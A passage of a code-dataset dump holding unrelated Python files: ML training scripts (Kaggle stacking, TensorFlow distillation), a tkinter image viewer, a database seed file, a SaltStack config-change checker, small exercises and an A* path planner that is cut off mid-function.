], \n regression=True,\n train_split=TrainSplit(eval_size=0.00),\n y_tensor_type = T.matrix,\n verbose=1,\n batch_iterator_train=BatchIterator(3200),\n max_epochs=130)\n\n\n\n\ntest_pred= np.zeros((s1nn_pca.shape[0], 1))\nfor iter in xrange(0,bags):\n np.random.seed(iter + 59)\n net1_clone = clone(net1)\n net1_clone.fit(t1nn_conc_shared.get_value(), y)\n test_pred += net1_clone.predict_proba(s1nn_conc)\ntest_pred_adj = test_pred/bags \n\n\n \nsamp = pd.read_csv(\"/media/branden/SSHD1/kaggle/bnp/sample_submission.csv\") \n#Convert CV preds array to DataFrame with column names\ntest_pred_frame = pd.DataFrame(test_pred_adj, columns=samp.columns[1:])\n# Add VisitNumber column\ns1nn = s1nn.reset_index(drop=True)\ntest_pred_frame.insert(0, 'ID', s1nn['ID'])\n# Save \ntest_pred_frame.to_csv(\"/media/branden/SSHD1/kaggle/bnp/stack_models/testPreds/testPreds_nn1.csv\", index=False)\n\n\n\n\n\n\n\n\n\n\n","sub_path":"bnp/stack_models/layer1_nn4.py","file_name":"layer1_nn4.py","file_ext":"py","file_size_in_byte":11412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"478028258","text":"try:\n\tfrom .model_interface import model_zoo\nexcept:\n\tfrom model_interface import model_zoo\n\nimport tensorflow as tf\nimport numpy as np\nfrom bunch import Bunch\n\nfrom model_io import model_io\nfrom task_module import classifier\nimport tensorflow as tf\nfrom metric import tf_metrics\n\nfrom optimizer import distributed_optimizer as optimizer\nfrom model_io import model_io\n\nfrom distillation import knowledge_distillation as distill\n\ndef correlation(x, y):\n\tx = x - tf.reduce_mean(x, axis=-1, keepdims=True)\n\ty = y - tf.reduce_mean(y, axis=-1, keepdims=True)\n\tx = tf.nn.l2_normalize(x, -1)\n\ty = tf.nn.l2_normalize(y, -1)\n\treturn -tf.reduce_sum(x*y, axis=-1) # higher the better\n\ndef kd(x, y):\n\tx_prob = tf.nn.softmax(x)\n\tprint(x_prob.get_shape(), y.get_shape(), tf.reduce_sum(x_prob * y, axis=-1).get_shape())\n\treturn -tf.reduce_sum(x_prob * y, axis=-1) # higher the better\n\ndef mse(x, y):\n\tx = x - tf.reduce_mean(x, axis=-1, keepdims=True)\n\ty = y - tf.reduce_mean(y, axis=-1, keepdims=True)\n\treturn tf.reduce_sum((x-y)**2, axis=-1) # lower the better\n\ndef kd_distance(x, y, dist_type):\n\tif dist_type == \"person\":\n\t\treturn correlation(x,y)\n\telif dist_type == \"kd\":\n\t\treturn kd(x, y)\n\telif dist_type == \"mse\":\n\t\treturn mse(x, y)\n\ndef model_fn_builder(\n\t\t\t\t\tmodel_config,\n\t\t\t\t\tnum_labels,\n\t\t\t\t\tinit_checkpoint,\n\t\t\t\t\tmodel_reuse=None,\n\t\t\t\t\tload_pretrained=True,\n\t\t\t\t\tmodel_io_config={},\n\t\t\t\t\topt_config={},\n\t\t\t\t\texclude_scope=\"\",\n\t\t\t\t\tnot_storage_params=[],\n\t\t\t\t\ttarget=\"a\",\n\t\t\t\t\tlabel_lst=None,\n\t\t\t\t\toutput_type=\"sess\",\n\t\t\t\t\t**kargs):\n\n\tdef model_fn(features, labels, mode):\n\n\t\tmodel_api = model_zoo(model_config)\n\n\t\tmodel = model_api(model_config, features, labels,\n\t\t\t\t\t\t\tmode, target, reuse=model_reuse)\n\n\t\tlabel_ids = features[\"label_ids\"]\n\n\t\tif mode == tf.estimator.ModeKeys.TRAIN:\n\t\t\tdropout_prob = model_config.dropout_prob\n\t\telse:\n\t\t\tdropout_prob = 0.0\n\n\t\tif model_io_config.fix_lm == True:\n\t\t\tscope = model_config.scope + \"_finetuning\"\n\t\telse:\n\t\t\tscope = model_config.scope\n\n\t\twith tf.variable_scope(scope, reuse=model_reuse):\n\t\t\t(loss, \n\t\t\t\tper_example_loss, \n\t\t\t\tlogits) = classifier.classifier(model_config,\n\t\t\t\t\t\t\t\t\t\t\tmodel.get_pooled_output(),\n\t\t\t\t\t\t\t\t\t\t\tnum_labels,\n\t\t\t\t\t\t\t\t\t\t\tlabel_ids,\n\t\t\t\t\t\t\t\t\t\t\tdropout_prob)\n\t\t\tlabel_loss = tf.reduce_sum(per_example_loss * features[\"label_ratio\"]) / (1e-10+tf.reduce_sum(features[\"label_ratio\"]))\n\n\t\tif mode == tf.estimator.ModeKeys.TRAIN:\n\n\t\t\tdistillation_api = distill.KnowledgeDistillation(kargs.get(\"disitllation_config\", Bunch({\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"logits_ratio_decay\":\"constant\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"logits_ratio\":0.5,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"logits_decay_rate\":0.999,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"distillation\":['logits', 'feature'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"feature_ratio\":0.5,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"feature_ratio_decay\":\"constant\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"feature_decay_rate\":0.999,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"kd_type\":\"kd\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"scope\":scope\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t})))\n\t\t\t# get teacher logits\n\t\t\tteacher_logit = tf.log(features[\"label_probs\"]+1e-10)/kargs.get(\"temperature\", 2.0) # log_softmax logits\n\t\t\tstudent_logit = tf.nn.log_softmax(logits /kargs.get(\"temperature\", 2.0)) # log_softmax logits\n\n\t\t\tdistillation_features = {\n\t\t\t\t\"student_logits_tensor\":student_logit,\n\t\t\t\t\"teacher_logits_tensor\":teacher_logit,\n\t\t\t\t\"student_feature_tensor\":model.get_pooled_output(),\n\t\t\t\t\"teacher_feature_tensor\":features[\"distillation_feature\"],\n\t\t\t\t\"student_label\":tf.ones_like(label_ids, dtype=tf.int32),\n\t\t\t\t\"teacher_label\":tf.zeros_like(label_ids, dtype=tf.int32),\n\t\t\t\t\"logits_ratio\":kargs.get(\"logits_ratio\", 0.5),\n\t\t\t\t\"feature_ratio\":kargs.get(\"logits_ratio\", 0.5),\n\t\t\t\t\"distillation_ratio\":features[\"distillation_ratio\"]\n\t\t\t}\n\n\t\t\tdistillation_loss = distillation_api.distillation(distillation_features,\n\t\t\t\t\t\t\t\t\t\t2, dropout_prob,\n\t\t\t\t\t\t\t\t\t\tmodel_reuse,\n\t\t\t\t\t\t\t\t\t\topt_config.num_train_steps,\n\t\t\t\t\t\t\t\t\t\tfeature_ratio=10,\n\t\t\t\t\t\t\t\t\t\tlogits_ratio_decay=\"constant\",\n\t\t\t\t\t\t\t\t\t\tfeature_ratio_decay=\"constant\",\n\t\t\t\t\t\t\t\t\t\tfeature_decay_rate=0.999,\n\t\t\t\t\t\t\t\t\t\tlogits_decay_rate=0.999,\n\t\t\t\t\t\t\t\t\t\tlogits_ratio=0.5)\n\n\t\t\tloss = label_loss + distillation_loss[\"distillation_loss\"]\n\n\t\tmodel_io_fn = model_io.ModelIO(model_io_config)\n\n\t\ttvars = model_io_fn.get_params(model_config.scope, \n\t\t\t\t\t\t\t\t\t\tnot_storage_params=not_storage_params)\n\t\tprint(tvars)\n\t\tif load_pretrained == \"yes\":\n\t\t\tmodel_io_fn.load_pretrained(tvars, \n\t\t\t\t\t\t\t\t\t\tinit_checkpoint,\n\t\t\t\t\t\t\t\t\t\texclude_scope=exclude_scope)\n\n\t\tif mode == tf.estimator.ModeKeys.TRAIN:\n\n\t\t\toptimizer_fn = optimizer.Optimizer(opt_config)\n\n\t\t\tmodel_io_fn.print_params(tvars, string=\", trainable params\")\n\t\t\tupdate_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n\t\t\twith tf.control_dependencies(update_ops):\n\t\t\t\ttrain_op = optimizer_fn.get_train_op(loss, tvars, \n\t\t\t\t\t\t\t\topt_config.init_lr, \n\t\t\t\t\t\t\t\topt_config.num_train_steps,\n\t\t\t\t\t\t\t\t**kargs)\n\n\t\t\t\tmodel_io_fn.set_saver()\n\n\t\t\t\tif kargs.get(\"task_index\", 1) == 0 and kargs.get(\"run_config\", None):\n\t\t\t\t\ttraining_hooks = []\n\t\t\t\telif kargs.get(\"task_index\", 1) == 0:\n\t\t\t\t\tmodel_io_fn.get_hooks(kargs.get(\"checkpoint_dir\", None), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\tkargs.get(\"num_storage_steps\", 1000))\n\n\t\t\t\t\ttraining_hooks = model_io_fn.checkpoint_hook\n\t\t\t\telse:\n\t\t\t\t\ttraining_hooks = []\n\n\t\t\t\tif len(optimizer_fn.distributed_hooks) >= 1:\n\t\t\t\t\ttraining_hooks.extend(optimizer_fn.distributed_hooks)\n\t\t\t\tprint(training_hooks, \"==training_hooks==\", \"==task_index==\", kargs.get(\"task_index\", 1))\n\n\t\t\t\testimator_spec = tf.estimator.EstimatorSpec(mode=mode, \n\t\t\t\t\t\t\t\tloss=loss, train_op=train_op,\n\t\t\t\t\t\t\t\ttraining_hooks=training_hooks)\n\t\t\t\tif output_type == \"sess\":\n\n\t\t\t\t\tpred_label = tf.argmax(distillation_loss[\"st_logits\"], axis=-1, output_type=tf.int32)\n\t\t\t\t\tcorrect = tf.equal(\n\t\t\t\t\t\ttf.cast(tf.ones_like(label_ids, dtype=tf.int32), tf.int32),\n\t\t\t\t\t\ttf.cast(pred_label, tf.int32)\n\t\t\t\t\t)\n\t\t\t\t\tst_accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n\n\t\t\t\t\tpred_label = tf.argmax(distillation_loss[\"te_logits\"], axis=-1, output_type=tf.int32)\n\t\t\t\t\tcorrect = tf.equal(\n\t\t\t\t\t\ttf.cast(tf.zeros_like(label_ids, dtype=tf.int32), tf.int32),\n\t\t\t\t\t\ttf.cast(pred_label, tf.int32)\n\t\t\t\t\t)\n\t\t\t\t\tte_accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n\n\t\t\t\t\treturn {\n\t\t\t\t\t\t\"train\":{\n\t\t\t\t\t\t\t\t\t\t\"loss\":loss, \n\t\t\t\t\t\t\t\t\t\t\"logits\":logits,\n\t\t\t\t\t\t\t\t\t\t\"train_op\":train_op,\n\t\t\t\t\t\t\t\t\t\t\"cross_entropy\":label_loss,\n\t\t\t\t\t\t\t\t\t\t\"distillation_loss\":distillation_loss[\"distillation_loss\"],\n\t\t\t\t\t\t\t\t\t\t\"kd_num\":tf.reduce_sum(features[\"distillation_ratio\"]),\n\t\t\t\t\t\t\t\t\t\t\"ce_num\":tf.reduce_sum(features[\"label_ratio\"]),\n\t\t\t\t\t\t\t\t\t\t\"teacher_logit\":teacher_logit,\n\t\t\t\t\t\t\t\t\t\t\"student_logit\":student_logit,\n\t\t\t\t\t\t\t\t\t\t\"label_ratio\":features[\"label_ratio\"],\n\t\t\t\t\t\t\t\t\t\t\"distilaltion_logits_loss\":distillation_loss[\"distillation_logits_loss\"],\n\t\t\t\t\t\t\t\t\t\t\"distilaltion_feature_loss\":distillation_loss[\"distillation_feature_loss\"],\n\t\t\t\t\t\t\t\t\t\t\"distillation_loss\":distillation_loss[\"distillation_loss\"],\n\t\t\t\t\t\t\t\t\t\t\"st_accuracy\":st_accuracy,\n\t\t\t\t\t\t\t\t\t\t\"te_accuracy\":te_accuracy\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\"hooks\":training_hooks\n\t\t\t\t\t}\n\t\t\t\telif output_type == \"estimator\":\n\t\t\t\t\treturn estimator_spec\n\n\t\telif mode == tf.estimator.ModeKeys.PREDICT:\n\t\t\tprint(logits.get_shape(), \"===logits shape===\")\n\t\t\tpred_label = tf.argmax(logits, axis=-1, output_type=tf.int32)\n\t\t\tprob = tf.nn.softmax(logits)\n\t\t\tmax_prob = tf.reduce_max(prob, axis=-1)\n\t\t\t\n\t\t\testimator_spec = tf.estimator.EstimatorSpec(\n\t\t\t\t\t\t\t\t\tmode=mode,\n\t\t\t\t\t\t\t\t\tpredictions={\n\t\t\t\t\t\t\t\t\t\t\t\t'pred_label':pred_label,\n\t\t\t\t\t\t\t\t\t\t\t\t\"max_prob\":max_prob\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\texport_outputs={\n\t\t\t\t\t\t\t\t\t\t\"output\":tf.estimator.export.PredictOutput(\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'pred_label':pred_label,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"max_prob\":max_prob\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t)\n\t\t\treturn estimator_spec\n\n\t\telif mode == tf.estimator.ModeKeys.EVAL:\n\t\t\tdef metric_fn(per_example_loss,\n\t\t\t\t\t\tlogits, \n\t\t\t\t\t\tlabel_ids):\n\t\t\t\t\"\"\"Computes the loss and accuracy of the model.\"\"\"\n\t\t\t\tsentence_log_probs = tf.reshape(\n\t\t\t\t\tlogits, [-1, logits.shape[-1]])\n\t\t\t\tsentence_predictions = tf.argmax(\n\t\t\t\t\tlogits, axis=-1, output_type=tf.int32)\n\t\t\t\tsentence_labels = tf.reshape(label_ids, [-1])\n\t\t\t\tsentence_accuracy = tf.metrics.accuracy(\n\t\t\t\t\tlabels=label_ids, predictions=sentence_predictions)\n\t\t\t\tsentence_mean_loss = tf.metrics.mean(\n\t\t\t\t\tvalues=per_example_loss)\n\t\t\t\tsentence_f = tf_metrics.f1(label_ids, \n\t\t\t\t\t\t\t\t\t\tsentence_predictions, \n\t\t\t\t\t\t\t\t\t\tnum_labels, \n\t\t\t\t\t\t\t\t\t\tlabel_lst, average=\"macro\")\n\n\t\t\t\teval_metric_ops = {\n\t\t\t\t\t\t\t\t\t\"f1\": sentence_f,\n\t\t\t\t\t\t\t\t\t\"acc\":sentence_accuracy\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\treturn eval_metric_ops\n\n\t\t\teval_metric_ops = metric_fn( \n\t\t\t\t\t\t\tper_example_loss,\n\t\t\t\t\t\t\tlogits, \n\t\t\t\t\t\t\tlabel_ids)\n\t\t\t\n\t\t\testimator_spec = tf.estimator.EstimatorSpec(mode=mode, \n\t\t\t\t\t\t\t\tloss=loss,\n\t\t\t\t\t\t\t\teval_metric_ops=eval_metric_ops)\n\n\t\t\tif output_type == \"sess\":\n\t\t\t\treturn {\n\t\t\t\t\t\"eval\":{\n\t\t\t\t\t\t\t\"per_example_loss\":per_example_loss,\n\t\t\t\t\t\t\t\"logits\":logits,\n\t\t\t\t\t\t\t\"loss\":tf.reduce_mean(per_example_loss)\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\telif output_type == \"estimator\":\n\t\t\t\treturn estimator_spec\n\t\telse:\n\t\t\traise NotImplementedError()\n\treturn model_fn\n\n","sub_path":"t2t_bert/distributed_single_sentence_classification/model_feature_distillation_fn.py","file_name":"model_feature_distillation_fn.py","file_ext":"py","file_size_in_byte":8961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"252851191","text":"from tkinter import *\nfrom tkinter import filedialog\nfrom PIL import Image, ImageTk\nimport glob\nimport os\n\n\nclass Window(Frame):\n\n\n def __init__(self, master=None):\n Frame.__init__(self, master)\n \n # variabels\n self.img_list = [] # list of image paths.\n self.cur_img = 0 # index of current showing image.\n\n self.init_window() \n\n\n # Creation of init_window\n def init_window(self):\n\n # changing the title of our master widget \n self.master.title(\"GUI\")\n \n # creating a menu instance\n menu = Menu(self.master)\n self.master.config(menu=menu)\n menu.add_command(label='Open Dir', command=self.open_dir)\n menu.add_command(label=\"Exit\", command=self.client_exit)\n\n # creating a button instance\n leftButton = Button(self.master, text=\"prev image\", command=self.prev_image)\n leftButton.grid(row=0, column=0)\n self.imgView = Label(self.master)\n self.imgView.grid(row=0, column=1)\n rightButton = Button(self.master, text=\"next image\", command=self.next_image)\n rightButton.grid(row=0, column=2)\n\n # creating a status bar instance\n self.status = StringVar()\n statusBar = Label(self.master, anchor=W, textvariable=self.status)\n self.status.set('Status Bar')\n statusBar.grid(columnspan=3, sticky=E)\n\n self.master.rowconfigure(0, minsize=800)\n self.master.columnconfigure(1, minsize=600)\n\n\n def prev_image(self):\n if(self.cur_img > 0):\n self.cur_img -= 1\n self.showImg()\n self.update_status()\n\n\n def next_image(self):\n if(self.cur_img < len(self.img_list)-1):\n self.cur_img += 1\n self.showImg()\n self.update_status()\n\n\n # open images directory and show first image.\n def open_dir(self):\n imgs_path = filedialog.askdirectory()\n self.img_list += glob.glob(imgs_path+'/*.png')\n self.img_list += glob.glob(imgs_path+'/*.PNG')\n self.img_list += glob.glob(imgs_path+'/*.jpg')\n self.img_list += glob.glob(imgs_path+'/*.JPG')\n self.img_list.sort()\n self.showImg()\n self.update_status()\n\n\n def update_status(self):\n basename, filename = os.path.split(self.img_list[self.cur_img])\n self.status.set(filename)\n\n\n def showImg(self):\n img_path = self.img_list[self.cur_img]\n load = Image.open(img_path)\n render = ImageTk.PhotoImage(load)\n self.imgView.configure(image=render)\n self.imgView.image = render\n\n\n def client_exit(self):\n exit()\n \n\nif __name__ == \"__main__\":\n root = Tk()\n app = Window(root)\n app.mainloop()","sub_path":"tk.py","file_name":"tk.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"485565801","text":"\"\"\"Seed file to make sample data .\n Database adopt-a-pet must exist before running this file.\n defined in app.py():\n app.config[\"SQLALCHEMY_DATABASE_URI\"] = \"postgresql:///adopt-a-pet\"\n\"\"\"\n\nfrom models import db, User, Pet\nfrom app import app\n\n# create all tables\ndb.drop_all()\ndb.create_all()\n\n# create user\nuser1 = User(\n username=\"username1\",\n # hashed password for \"password = 'password'\"\n password=\"$2b$12$h9kN440NdtdbCimRcpu.Z.JSRGMWv42TJFlxeeBLPn6JqelMCQCPe\",\n email=\"user@user.com\",\n first_name=\"userfirstname\",\n last_name=\"userlastname\",\n)\n\ndb.session.add(user1)\ndb.session.commit()\n\n# create pet(s) for user1\npet1 = Pet(\n username=\"username1\",\n api_id=123,\n peteval=\"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean quis orci eget neque tempor euismod non ut dui. Donec velit felis, auctor nec sapien ut, scelerisque congue dui.\",\n)\n\ndb.session.add(pet1)\ndb.session.commit()\n","sub_path":"seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"545828106","text":"import pandas as pd\nimport numpy as np\nimport math\n\nclass SentimentStrengthCalculator:\n\tpredictions = ''\n\t\n\tdef __init__(self, predictions):\n\t\tself.predictions = predictions\n\t\n\tdef getSentimentStrength(self):\n\t\n\t\tself.predictions['strengthOfSentiment'] = self.predictions.apply(self.getSentimentStrengthForEntry, axis = 1)\n\t\tself.predictions['strengthOfSentiment'] = np.array(self.predictions['strengthOfSentiment'])\n\t\treturn self.predictions\n\t\t\n\tdef getSentimentStrengthForEntry(self, entry):\n\t\tstrengthScore = 1\n\t\tif (entry['predictedSentiment'] != 'neutral'):\n\t\t\tif (entry['#capitalizedWords'] > 0):\n\t\t\t\tstrengthScore = strengthScore + 1\n\t\t\tif (entry['#strongPositiveWords'] > 0):\n\t\t\t\tstrengthScore = strengthScore + 1\n\t\t\tif (entry['#strongNegativeWords'] > 0):\n\t\t\t\tstrengthScore = strengthScore + 1\n\t\t\tif (entry['#weakPositiveWords'] > 0):\n\t\t\t\tstrengthScore = strengthScore + 0.5\n\t\t\tif (entry['#weakNegativeWords'] > 0):\n\t\t\t\tstrengthScore = strengthScore + 0.5\n\t\t\tif(strengthScore>5):\n\t\t\t\tstrengthScore = 5\n\t\t\tstrengthScore = math.ceil(strengthScore)\n\t\t\tif (entry['predictedSentiment'] == 'negative'):\n\t\t\t\tstrengthScore = strengthScore * (-1)\n\t\telse:\n\t\t\tstrengthScore = 0\n\t\treturn strengthScore","sub_path":"StrengthCalculator.py","file_name":"StrengthCalculator.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"29679750","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# DESCRIPTION:\n# AUTHOR: artemirk@gmail.com ()\n# ===============================================================================\nimport yaml\nimport hashlib \nimport subprocess\n\ncmdlist = open('/srv/file.notify', 'r')\nfor line in cmdlist:\n group,fname = line.strip().split(';')\n with open('/srv/salt/{}'.format(fname), 'r') as stream:\n try:\n dd = yaml.load(stream)\n except yaml.YAMLError as exc:\n print(exc)\n for k, v in dd.items():\n src = [el['source'] for el in v['file.managed'] if 'source' in el.keys()][0]\n md5 = hashlib.md5(open(\"/srv/salt/{}\".format(src[7:]),'rb').read()).hexdigest()\n# print('salt {} file.check_hash {} md5:{}'.format(group,k,md5))\n cmd,e = subprocess.Popen('salt {} file.check_hash {} md5:{}'.format(group,k,md5), shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()\n for l in cmd.decode('utf-8').replace(':\\n',' ').splitlines():\n srv,state=l.split()\n if state == 'False':\n print('File changed {} at server {} \\n'.format(k,srv))\n\n","sub_path":"salt/CheckConfigModifySaltStack.py","file_name":"CheckConfigModifySaltStack.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"67441175","text":"l = []\nactive = True\nwhile active:\n curr = input(\"Enter a number: \")\n curr = int(curr)\n if curr == 0:\n active = False\n else:\n l.append(curr)\nprint(l)\nmin = 0\nmax = 0\n\nfor i,val in enumerate(l):\n if val > l[max]:\n max = i\n if val < min:\n min = i \nsum = 0\ndb = 0\nfor i,val in enumerate(l):\n if i != min or i != max:\n sum = sum + val\n db = db + 1\nprint(sum/db)","sub_path":"python/til_zero/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"256898559","text":"import cv2\nimport numpy as np\nimport math\nfrom queue import Queue, deque\nimport time\nimport matplotlib.pyplot as plt\nfrom simplepriorityqueue import SimplePriorityQueue\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\nfrom cspaceplotter import CSpacePlotter\n\n\nclass PathExplorer:\n \n # action_angle: minimum turn angle (in degrees) that the bot can make between two positions\n def find_path(self, initial_pos, target_pos, orientation, step_size, c_space, cspace_map, heuristic_func, action_angle=30):\n initial_pos = (initial_pos[0], initial_pos[1])\n target_pos = (target_pos[0], target_pos[1])\n \n # TODO: we need to add the logic to check valid init and target points\n if (not self.is_position_valid(initial_pos, c_space)) or (not self.is_position_valid(target_pos, c_space)):\n print(\"Either initial or target position lies in the obstacle space or out of the configuration space. Please check and try again.\")\n return\n\n node_queue = SimplePriorityQueue()\n visited_nodes_set = set()\n visited_nodes_list = []\n \n initial_node = {\n 'pos': initial_pos,\n 'orientation': orientation,\n 'path': [],\n 'parent': initial_pos,\n 'cost': 0, \n 'cost_to_go': heuristic_func(initial_pos, target_pos)\n }\n\n cost_update_map = {}\n cost_update_map[self.get_rounded_pos_orient(initial_node)] = 0\n\n is_target_found = False\n\n # cost to reach to the node as a key to sort\n node_queue.put(0, initial_node)\n\n msg_queue = Queue()\n self.init_msg_queue(msg_queue)\n count = 0\n start = time.clock()\n while (not node_queue.isempty()) and not is_target_found:\n count += 1\n if (not msg_queue.empty()) and (count % 5000 == 0):\n print(msg_queue.get())\n \n current_node = node_queue.get()[1]\n node_pos_orient = self.get_rounded_pos_orient(current_node)\n if node_pos_orient not in visited_nodes_set:\n visited_nodes_list.append(current_node)\n visited_nodes_set.add(node_pos_orient)\n\n if self.is_within_goal_region(current_node['pos'], target_pos):\n print('\\nTarget found')\n is_target_found = True\n solution_path, path_cost = current_node['path'], current_node['cost'] \n else:\n next_positions = self.get_next_positions(current_node, c_space, target_pos, step_size, action_angle, heuristic_func)\n for node in next_positions:\n rounded_child = self.get_rounded_pos_orient(node)\n if rounded_child not in visited_nodes_set:\n old_cost_for_node = math.inf if rounded_child not in cost_update_map.keys() else cost_update_map[rounded_child]\n new_cost_for_node = node['cost'] + node['cost_to_go']\n if old_cost_for_node > new_cost_for_node:\n cost_update_map[rounded_child] = node['cost']\n node_queue.put(new_cost_for_node, node)\n\n end = time.clock()\n\n print('Time taken:', end-start, 'seconds(approx:', int((end-start)/60),'min:', int((end-start)%60), 'sec)' )\n if is_target_found:\n print('Cost of the path: ', path_cost, 'units')\n self.start_visualization(initial_node, target_pos, visited_nodes_list, solution_path, action_angle, step_size, c_space)\n else:\n print('Target cannot be reached')\n\n \n def is_within_goal_region(self, position, target_pos, goal_threshold_radius=1.5):\n return math.sqrt((target_pos[0]-position[0])**2 + (target_pos[1]-position[1])**2) <= goal_threshold_radius\n\n def get_rounded_pos_orient(self, node, pos_threshold=0.5, orientation_threshold=30):\n node_pos_y, node_pos_x = node['pos']\n orientation = node['orientation']\n node_pos_x = self.roundoff_value(node_pos_x, pos_threshold)\n node_pos_y = self.roundoff_value(node_pos_y, pos_threshold)\n orientation = self.roundoff_value(orientation, orientation_threshold)\n\n return (node_pos_x, node_pos_y, orientation)\n\n def roundoff_value(self, value, roundoff_threshold):\n return (round(value/roundoff_threshold))*roundoff_threshold\n\n def get_next_positions(self, node, c_space, target_pos, step_size, action_angle, heuristic_func):\n action_angle_map = {\n 'TWOTHETA_U': 2*action_angle,\n 'THETA_U': action_angle,\n 'THETA_Z': 0,\n 'THETA_D': -action_angle,\n 'TWOTHETA_D': -2*action_angle\n }\n \n next_postions = []\n \n node_pos = list(node['pos'])\n for action in action_angle_map:\n next_orient = self.get_new_orientation(node['orientation'], action_angle_map[action])\n next_pos = self.get_new_position(node_pos, next_orient, step_size)\n if self.is_action_valid(node_pos, next_pos, c_space):\n node_path = node['path'].copy()\n node_path.append(action)\n \n next_postions.append({\n 'pos': tuple(next_pos),\n 'orientation': next_orient,\n 'path': node_path,\n 'parent': node['pos'],\n 'cost': node['cost'] + step_size,\n 'cost_to_go': heuristic_func(next_pos, target_pos)\n })\n return next_postions\n \n def get_new_orientation(self, old_orienation, delta_angle):\n new_orientation = old_orienation + delta_angle\n if new_orientation < 0:\n new_orientation = 360 + new_orientation\n elif new_orientation >= 360:\n new_orientation = new_orientation % 360\n return new_orientation\n \n def get_new_position(self, node_pos, new_orient, step_size):\n new_orient_rad = new_orient * math.pi/180\n action = [step_size*math.sin(new_orient_rad), step_size*math.cos(new_orient_rad)]\n return np.add(node_pos, action)\n \n \n def is_action_valid(self, parent_pos, position, c_space):\n is_valid_action = False\n parent_xy = parent_pos[1], parent_pos[0]\n child_xy = position[1], position[0] \n\n if (0 <= position[0] <= c_space.height and 0 <= position[1] <= c_space.width):\n is_valid_action = not c_space.is_obstacle_in_path(parent_xy, child_xy)\n return is_valid_action\n\n def is_position_valid(self, position, c_space):\n point_not_in_obstacle_area = False\n if (0 <= position[0] <= c_space.height and 0 <= position[1] <= c_space.width):\n point_not_in_obstacle_area = not c_space.is_point_in_obstacle(position[1], position[0])\n return point_not_in_obstacle_area\n\n\n def start_visualization(self, initial_node, target_pos, visited_nodes, path, action_angle, step_size, c_space):\n fourcc = cv2.VideoWriter_fourcc(*'DIVX')\n \n action_angle_map = {\n 'TWOTHETA_U': 2*action_angle,\n 'THETA_U': action_angle,\n 'THETA_Z': 0,\n 'THETA_D': -action_angle,\n 'TWOTHETA_D': -2*action_angle\n }\n\n\n fig, ax = plt.subplots()\n plt.xlim(0, c_space.width)\n plt.ylim(0, c_space.height)\n plt.grid()\n ax.set_aspect('equal')\n\n # small circle of 1.5 unit radius to mark the goal region\n a_circle = plt.Circle((target_pos[1], target_pos[0]), 1.5)\n ax.add_artist(a_circle)\n\n cmap_plotter = CSpacePlotter(c_space)\n cmap_plotter.plotMap(fig, ax)\n \n dots = {0: ' ', 1: '. ', 2: '.. ', 3: '... ', 4: '....'} \n num_dots = len(dots)\n \n print('Visualization in process...\\n')\n out = cv2.VideoWriter(\"./media/astar.mp4\", fourcc, 20.0, (728, 505))\n \n def animate(i):\n if i < len(visited_nodes):\n ax.set_title('Exploring Configuration Space' + str(dots[i%num_dots]), fontsize=13)\n parent_y, parent_x = visited_nodes[i]['parent']\n node_y, node_x = visited_nodes[i]['pos']\n ax.quiver(parent_x, parent_y, node_x-parent_x, node_y-parent_y, units='xy' ,scale=1, color='orange')\n if (i % 2500 == 0):\n plt.savefig('./media/frame'+str(i)+'.png', bbox_inches='tight')\n frame = cv2.imread('./media/frame'+str(i)+'.png')\n out.write(frame)\n else:\n goal_reached_str = 'Goal Reached. Cost: ' + str(len(path)*step_size) + 'units' \n ax.set_title(goal_reached_str, fontsize=13)\n \n prev_pos, prev_orient = list(initial_node['pos']), initial_node['orientation']\n for action in path:\n next_orient = self.get_new_orientation(prev_orient, action_angle_map[action])\n next_pos = self.get_new_position(prev_pos, next_orient, step_size)\n\n parent_y, parent_x = prev_pos[0], prev_pos[1]\n node_y, node_x = next_pos[0], next_pos[1]\n ax.quiver(parent_x, parent_y, node_x-parent_x, node_y-parent_y, units='xy' ,scale=1, color='b')\n prev_pos = next_pos\n prev_orient = next_orient\n plt.savefig('./media/frame'+str(i)+'.png', bbox_inches='tight')\n frame = cv2.imread('./media/frame'+str(i)+'.png')\n out.write(frame)\n \n anim = 